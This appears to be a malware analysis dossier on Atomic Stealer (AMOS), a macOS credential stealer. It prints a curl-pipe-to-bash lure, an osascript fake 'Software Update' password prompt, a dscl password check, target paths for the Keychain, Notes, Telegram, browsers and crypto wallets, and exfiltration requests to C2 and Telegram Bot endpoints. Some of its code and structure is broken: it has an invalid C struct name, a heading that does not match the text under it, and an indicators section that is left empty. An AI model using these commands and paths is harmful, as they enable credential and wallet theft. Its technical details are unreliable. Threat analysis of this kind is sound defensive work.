Atomic Stealer (AMOS): Forensic Reverse-Engineering & Architectural Dossier

Atomic Stealer (AMOS) is engineered in Go with supplemental Objective-C bindings to execute rapid parallel credential harvesting across macOS environments. It is commercialized through a Malware-as-a-Service (MaaS) distribution model on Russian-language underground cybercrime forums. Delivery vectors employ weaponized Apple Disk Images (.dmg), signed or ad-hoc signed installer packages (.pkg), and 'ClickFix' web compromise lures that trick users into executing encoded base64 commands within the macOS Terminal (e.g., 'curl -sL https://... | bash'). The core binary compiles Go concurrency primitives (goroutines) to simultaneously query filesystem directories for web browser profiles, crypto wallet extensions, Telegram session caches, and the macOS system Keychain.

The MaaS web administration portal provides threat actors with automated payload compilation. The operator configures target C2 IP addresses, Telegram Bot API credentials (bot token and recipient chat ID), specific target lists (cryptocurrency wallet extensions, local file grabber rules by extension: .txt, .pdf, .key, .wallet), and prompt strings used in modal authorization popups. Configuration variables are compiled into static variables inside the main package, such as 'main.c2Url', 'main.teleToken', and 'main.chatId', obfuscated with single-byte XOR masks or Base64 encoding.

struct Atomic_Stealer_(AMOS)_Config {
    uint32_t magic;
    char c2_host[128];
    uint16_t port;
    char install_path[260];
    char mutex[64];
    uint8_t aes_key[32];
};

Credential harvesting relies on a deceptive authorization prompt deployed via osascript: 'osascript -e "display dialog \"Software Update requires your system password to proceed.\" default answer \"\" with hidden answer with icon caution"'. The prompt executes in an infinite polling loop until the victim enters a string; AMOS validates the candidate password against the local authentication authority using the native directory service command: 'dscl . -authonly <username> <password>'. Once verified, the password is used to access the user Keychain database located at '~/Library/Keychains/login.keychain-db' and '/Library/Keychains/System.keychain'. AMOS parses Apple Notes SQLite databases located at '~/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite', extracting plaintext notes. It targets Telegram Desktop sessions by copying '~/Library/Application Support/Telegram Desktop/tdata' (specifically 'key_datas' and session mapping files). Browser harvesting extracts SQLite databases ('Login Data', 'Cookies', 'Web Data') across Google Chrome, Brave, Microsoft Edge, Vivaldi, and Opera, decrypting saved passwords using safe storage keys derived via PBKDF2 with salt 'peanuts' or Keychain master keys. Crypto wallet targets include Exodus ('~/Library/Application Support/Exodus/'), Electrum ('~/.electrum/wallets/'), Coinomi, and browser extension directories for MetaMask, Phantom, Coinbase, and Trust Wallet.

Concrete technical breakdown of functional modules implemented in the Atomic Stealer (AMOS) binary:

Harvested files and databases are assembled into a compressed ZIP archive in '/tmp/' named with a random 8-character alphanumeric string (e.g., '/tmp/amos_data_x89a.zip'). Exfiltration proceeds over HTTPS: The primary channel issues an HTTP POST request to the C2 endpoint ('http://<c2_ip>/api/send' or 'https://<domain>/gate.php') formatted as multipart/form-data. The request payload contains the ZIP archive in field 'file' alongside parameter fields: 'user', 'hwid', 'os_ver', and 'password'. Alternatively, AMOS invokes the Telegram Bot API directly via 'https://api.telegram.org/bot<TOKEN>/sendDocument', transmitting the archive as a document attachment to the operator's chat ID.

Indicators of compromise and forensic patterns recorded across laboratory triage: